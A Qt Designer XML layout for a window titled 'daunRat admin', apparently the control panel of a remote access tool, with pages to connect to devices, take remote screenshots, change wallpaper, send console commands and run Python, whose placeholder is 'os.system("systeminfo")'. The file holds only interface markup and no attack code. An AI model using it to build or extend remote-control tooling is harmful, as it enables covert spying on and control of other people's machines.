693 lines
20 KiB
XML
693 lines
20 KiB
XML
<?xml version="1.0" encoding="UTF-8"?>
|
|
<ui version="4.0">
|
|
<class>MainWindow</class>
|
|
<widget class="QMainWindow" name="MainWindow">
|
|
<property name="geometry">
|
|
<rect>
|
|
<x>0</x>
|
|
<y>0</y>
|
|
<width>700</width>
|
|
<height>380</height>
|
|
</rect>
|
|
</property>
|
|
<property name="sizePolicy">
|
|
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
|
<horstretch>70</horstretch>
|
|
<verstretch>36</verstretch>
|
|
</sizepolicy>
|
|
</property>
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>700</width>
|
|
<height>380</height>
|
|
</size>
|
|
</property>
|
|
<property name="sizeIncrement">
|
|
<size>
|
|
<width>0</width>
|
|
<height>0</height>
|
|
</size>
|
|
</property>
|
|
<property name="windowTitle">
|
|
<string>daunRat admin</string>
|
|
</property>
|
|
<property name="windowIcon">
|
|
<iconset resource="images.qrc">
|
|
<normaloff>:/img/img/logo.png</normaloff>:/img/img/logo.png</iconset>
|
|
</property>
|
|
<property name="autoFillBackground">
|
|
<bool>false</bool>
|
|
</property>
|
|
<property name="styleSheet">
|
|
<string notr="true">QWidget {
|
|
background-color: rgb(30, 30, 30);
|
|
color: rgb(255, 255, 255);
|
|
font: 10pt "Segoe UI";
|
|
}
|
|
|
|
|
|
QScrollBar:vertical,
|
|
QScrollBar:horizontal {
|
|
border: none;
|
|
background: rgb(30, 30, 30);
|
|
width: 10px;
|
|
margin: 15px 0 15px 0;
|
|
border-radius: 0px;
|
|
}
|
|
|
|
QScrollBar::handle:vertical,
|
|
QScrollBar::handle:horizontal {
|
|
background-color: rgb(139, 139, 139);
|
|
min-height: 30px;
|
|
border-radius: 5px;
|
|
}
|
|
|
|
QScrollBar::handle:vertical:hover,
|
|
QScrollBar::handle:vertical:pressed,
|
|
QScrollBar::handle:horizontal:hover,
|
|
QScrollBar::handle:horizontal:pressed {
|
|
background-color: rgb(149, 149, 149);
|
|
}
|
|
|
|
QScrollBar::sub-line:vertical,
|
|
QScrollBar::add-line:vertical,
|
|
QScrollBar::up-arrow:vertical,
|
|
QScrollBar::down-arrow:vertical {
|
|
height: 0px;
|
|
}
|
|
|
|
QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical,
|
|
QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical,
|
|
QScrollBar::up-arrow:horizontal, QScrollBar::down-arrow:horizontal,
|
|
QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal {
|
|
background: none;
|
|
}
|
|
|
|
|
|
QPushButton {
|
|
color: white;
|
|
border-width: 1px;
|
|
border-radius:6px;
|
|
border-style: solid;
|
|
border-color: #303030;
|
|
background-color: #2c2d2e;
|
|
}
|
|
QPushButton:hover {
|
|
border-width: 2px;
|
|
background-color: #323232;
|
|
}
|
|
QPushButton:pressed {
|
|
background-color: #262728;
|
|
}
|
|
QPushButton:disabled {
|
|
background-color: #434343;
|
|
border-color: #0000;
|
|
}
|
|
|
|
|
|
QLineEdit, QTextBrowser, QPlainTextEdit, QTextEdit {
|
|
border-width: 1px;
|
|
border-radius: 5px;
|
|
border-style: solid;
|
|
border-color: #303030;
|
|
background-color: #242424;
|
|
font: 10pt "Segoe UI";
|
|
}
|
|
|
|
|
|
QListWidget {
|
|
border-width: 1px;
|
|
border-radius: 15px;
|
|
border-style: solid;
|
|
border-color: #303030;
|
|
padding: 10px;
|
|
background-color: #242424;
|
|
font: 10pt "Segoe UI";
|
|
}
|
|
QListWidget:item {
|
|
background-color: #242424;
|
|
selection-color: white;
|
|
}
|
|
QListWidget:item:hover {
|
|
background-color: #323232;
|
|
}
|
|
QListWidget:item:selected {
|
|
background-color: #777777;
|
|
}
|
|
</string>
|
|
</property>
|
|
<property name="locale">
|
|
<locale language="Russian" country="Ukraine"/>
|
|
</property>
|
|
<property name="dockOptions">
|
|
<set>QMainWindow::AllowTabbedDocks|QMainWindow::AnimatedDocks</set>
|
|
</property>
|
|
<widget class="QWidget" name="centralwidget">
|
|
<layout class="QHBoxLayout" name="horizontalLayout">
|
|
<property name="spacing">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="leftMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="topMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="rightMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="bottomMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<item>
|
|
<widget class="QListWidget" name="leftMenu">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>60</width>
|
|
<height>0</height>
|
|
</size>
|
|
</property>
|
|
<property name="maximumSize">
|
|
<size>
|
|
<width>60</width>
|
|
<height>16777215</height>
|
|
</size>
|
|
</property>
|
|
<property name="focusPolicy">
|
|
<enum>Qt::NoFocus</enum>
|
|
</property>
|
|
<property name="styleSheet">
|
|
<string notr="true">QListWidget {
|
|
border-width: 0px;
|
|
border-radius: 0px;
|
|
border: none;
|
|
padding: 0px;
|
|
background-color: #242424;
|
|
font: 10pt "Segoe UI";
|
|
}
|
|
QListWidget:item {
|
|
padding-left: 10px;
|
|
height: 60px;
|
|
background-color: #191919;
|
|
selection-color: rgba(255, 255, 255);
|
|
}
|
|
QListWidget:item:hover {
|
|
background-color: #323232;
|
|
}
|
|
QListWidget:item:selected {
|
|
background-color: #262728;
|
|
}</string>
|
|
</property>
|
|
<property name="verticalScrollBarPolicy">
|
|
<enum>Qt::ScrollBarAlwaysOff</enum>
|
|
</property>
|
|
<property name="horizontalScrollBarPolicy">
|
|
<enum>Qt::ScrollBarAlwaysOff</enum>
|
|
</property>
|
|
<property name="autoScroll">
|
|
<bool>false</bool>
|
|
</property>
|
|
<property name="editTriggers">
|
|
<set>QAbstractItemView::NoEditTriggers</set>
|
|
</property>
|
|
<property name="tabKeyNavigation">
|
|
<bool>false</bool>
|
|
</property>
|
|
<property name="showDropIndicator" stdset="0">
|
|
<bool>false</bool>
|
|
</property>
|
|
<property name="iconSize">
|
|
<size>
|
|
<width>30</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="textElideMode">
|
|
<enum>Qt::ElideRight</enum>
|
|
</property>
|
|
<property name="resizeMode">
|
|
<enum>QListView::Fixed</enum>
|
|
</property>
|
|
<property name="currentRow">
|
|
<number>-1</number>
|
|
</property>
|
|
<item>
|
|
<property name="text">
|
|
<string>Menu</string>
|
|
</property>
|
|
<property name="icon">
|
|
<iconset resource="images.qrc">
|
|
<normaloff>:/img/img/menu.png</normaloff>:/img/img/menu.png</iconset>
|
|
</property>
|
|
</item>
|
|
<item>
|
|
<property name="text">
|
|
<string>Devices</string>
|
|
</property>
|
|
<property name="icon">
|
|
<iconset resource="images.qrc">
|
|
<normaloff>:/img/img/devices.png</normaloff>:/img/img/devices.png</iconset>
|
|
</property>
|
|
</item>
|
|
<item>
|
|
<property name="text">
|
|
<string>Screenshot</string>
|
|
</property>
|
|
<property name="icon">
|
|
<iconset resource="images.qrc">
|
|
<normaloff>:/img/img/screenshot.png</normaloff>:/img/img/screenshot.png</iconset>
|
|
</property>
|
|
</item>
|
|
<item>
|
|
<property name="text">
|
|
<string>Wallpaper</string>
|
|
</property>
|
|
<property name="icon">
|
|
<iconset resource="images.qrc">
|
|
<normaloff>:/img/img/wallpaper.png</normaloff>:/img/img/wallpaper.png</iconset>
|
|
</property>
|
|
</item>
|
|
<item>
|
|
<property name="text">
|
|
<string>Console</string>
|
|
</property>
|
|
<property name="icon">
|
|
<iconset resource="images.qrc">
|
|
<normaloff>:/img/img/cmd.png</normaloff>:/img/img/cmd.png</iconset>
|
|
</property>
|
|
</item>
|
|
<item>
|
|
<property name="text">
|
|
<string>Python</string>
|
|
</property>
|
|
<property name="icon">
|
|
<iconset resource="images.qrc">
|
|
<normaloff>:/img/img/python.png</normaloff>:/img/img/python.png</iconset>
|
|
</property>
|
|
</item>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QStackedWidget" name="pagesWidget">
|
|
<property name="sizePolicy">
|
|
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
|
<horstretch>0</horstretch>
|
|
<verstretch>0</verstretch>
|
|
</sizepolicy>
|
|
</property>
|
|
<property name="currentIndex">
|
|
<number>4</number>
|
|
</property>
|
|
<widget class="QWidget" name="devicesPage">
|
|
<layout class="QVBoxLayout" name="devicesButtonLayout">
|
|
<item>
|
|
<widget class="QListWidget" name="availableDevices">
|
|
<property name="focusPolicy">
|
|
<enum>Qt::TabFocus</enum>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<layout class="QHBoxLayout" name="devicesButtonsLayout">
|
|
<property name="spacing">
|
|
<number>6</number>
|
|
</property>
|
|
<item>
|
|
<widget class="QPushButton" name="connectButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>0</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Connect</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QPushButton" name="pingButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>0</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Ping</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
<widget class="QWidget" name="screenshotPage">
|
|
<layout class="QGridLayout" name="gridLayout_2">
|
|
<property name="leftMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="topMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="rightMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="bottomMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="spacing">
|
|
<number>0</number>
|
|
</property>
|
|
<item row="0" column="0">
|
|
<widget class="QWidget" name="screenshotLayout" native="true">
|
|
<layout class="QVBoxLayout" name="verticalLayout">
|
|
<property name="spacing">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="sizeConstraint">
|
|
<enum>QLayout::SetDefaultConstraint</enum>
|
|
</property>
|
|
<property name="leftMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="topMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="rightMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="bottomMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<item>
|
|
<widget class="QLabel" name="screenshotLabel">
|
|
<property name="text">
|
|
<string/>
|
|
</property>
|
|
<property name="pixmap">
|
|
<pixmap resource="images.qrc">:/img/img/screen-template.png</pixmap>
|
|
</property>
|
|
<property name="scaledContents">
|
|
<bool>true</bool>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QPushButton" name="takeScreenshotButton">
|
|
<property name="styleSheet">
|
|
<string notr="true">QPushButton {
|
|
border-radius: 0px;
|
|
}</string>
|
|
</property>
|
|
<property name="text">
|
|
<string>Take screenshot</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
<widget class="QWidget" name="wallpaperPage">
|
|
<layout class="QVBoxLayout" name="verticalLayout_3">
|
|
<property name="spacing">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="bottomMargin">
|
|
<number>9</number>
|
|
</property>
|
|
<item alignment="Qt::AlignTop">
|
|
<widget class="QWidget" name="wallpaperSetLayout" native="true">
|
|
<layout class="QHBoxLayout" name="wallpaperSetterLayout">
|
|
<item>
|
|
<widget class="QLineEdit" name="wallpaperUrlBox">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>0</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="placeholderText">
|
|
<string>Local or web link to wallpaper</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QPushButton" name="setWallpaperButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>100</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Set wallpaper</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
</item>
|
|
<item alignment="Qt::AlignTop">
|
|
<widget class="QWidget" name="wallpaperEngineControlLayout" native="true">
|
|
<layout class="QVBoxLayout" name="verticalLayout_2">
|
|
<item alignment="Qt::AlignHCenter">
|
|
<widget class="QLabel" name="controlWallpaperEngineLabel">
|
|
<property name="text">
|
|
<string>Wallpaper Engine control</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item alignment="Qt::AlignTop">
|
|
<widget class="QWidget" name="wallpaperEngineControlHorizontalLayout" native="true">
|
|
<layout class="QHBoxLayout" name="horizontalLayout_2">
|
|
<item>
|
|
<widget class="QPushButton" name="stopWallpaperEngineButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>0</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Stop</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QPushButton" name="pauseWallpaperEngineButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>0</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Pause</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QPushButton" name="playWallpaperEngineButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>0</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Play</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QPushButton" name="muteWallpaperEngineButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>0</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Mute</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QPushButton" name="unmuteWallpaperEngineButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>0</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Unmute</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
</item>
|
|
<item alignment="Qt::AlignHCenter">
|
|
<widget class="QPushButton" name="wallpaperScreenshotButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>300</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="maximumSize">
|
|
<size>
|
|
<width>300</width>
|
|
<height>16777215</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Set screenshot as wallpaper</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<spacer name="verticalSpacerWallpaperPage">
|
|
<property name="orientation">
|
|
<enum>Qt::Vertical</enum>
|
|
</property>
|
|
<property name="sizeHint" stdset="0">
|
|
<size>
|
|
<width>20</width>
|
|
<height>40</height>
|
|
</size>
|
|
</property>
|
|
</spacer>
|
|
</item>
|
|
<item>
|
|
<widget class="QLabel" name="daunApWallpaperLabel">
|
|
<property name="text">
|
|
<string>Use Python Console with daunApi also</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
<widget class="QWidget" name="consolePage">
|
|
<layout class="QVBoxLayout" name="verticalLayout_4">
|
|
<item>
|
|
<widget class="QWidget" name="sendCommandLayout" native="true">
|
|
<layout class="QHBoxLayout" name="wallpaperSetterLayout_2">
|
|
<item>
|
|
<widget class="QLineEdit" name="commandBox">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>0</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="placeholderText">
|
|
<string>Type command here</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QPushButton" name="sendCommandButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>100</width>
|
|
<height>30</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Send</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QTextBrowser" name="logsConsole"/>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
<widget class="QWidget" name="pythonPage">
|
|
<layout class="QVBoxLayout" name="verticalLayout_5">
|
|
<item>
|
|
<widget class="QWidget" name="pythonEditWigdet" native="true">
|
|
<layout class="QHBoxLayout" name="horizontalLayout_3">
|
|
<property name="leftMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="topMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="rightMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<property name="bottomMargin">
|
|
<number>0</number>
|
|
</property>
|
|
<item alignment="Qt::AlignTop">
|
|
<widget class="QTextEdit" name="pythonScriptEditor">
|
|
<property name="maximumSize">
|
|
<size>
|
|
<width>16777215</width>
|
|
<height>50</height>
|
|
</size>
|
|
</property>
|
|
<property name="lineWrapMode">
|
|
<enum>QTextEdit::NoWrap</enum>
|
|
</property>
|
|
<property name="acceptRichText">
|
|
<bool>false</bool>
|
|
</property>
|
|
<property name="textInteractionFlags">
|
|
<set>Qt::TextEditorInteraction</set>
|
|
</property>
|
|
<property name="placeholderText">
|
|
<string>import os; os.system("systeminfo")</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QPushButton" name="execPythonButton">
|
|
<property name="minimumSize">
|
|
<size>
|
|
<width>75</width>
|
|
<height>50</height>
|
|
</size>
|
|
</property>
|
|
<property name="maximumSize">
|
|
<size>
|
|
<width>16777215</width>
|
|
<height>50</height>
|
|
</size>
|
|
</property>
|
|
<property name="text">
|
|
<string>Execute</string>
|
|
</property>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
</item>
|
|
<item>
|
|
<widget class="QTextBrowser" name="logsPytoon"/>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
</widget>
|
|
</item>
|
|
</layout>
|
|
</widget>
|
|
</widget>
|
|
<resources>
|
|
<include location="images.qrc"/>
|
|
</resources>
|
|
<connections/>
|
|
</ui>
|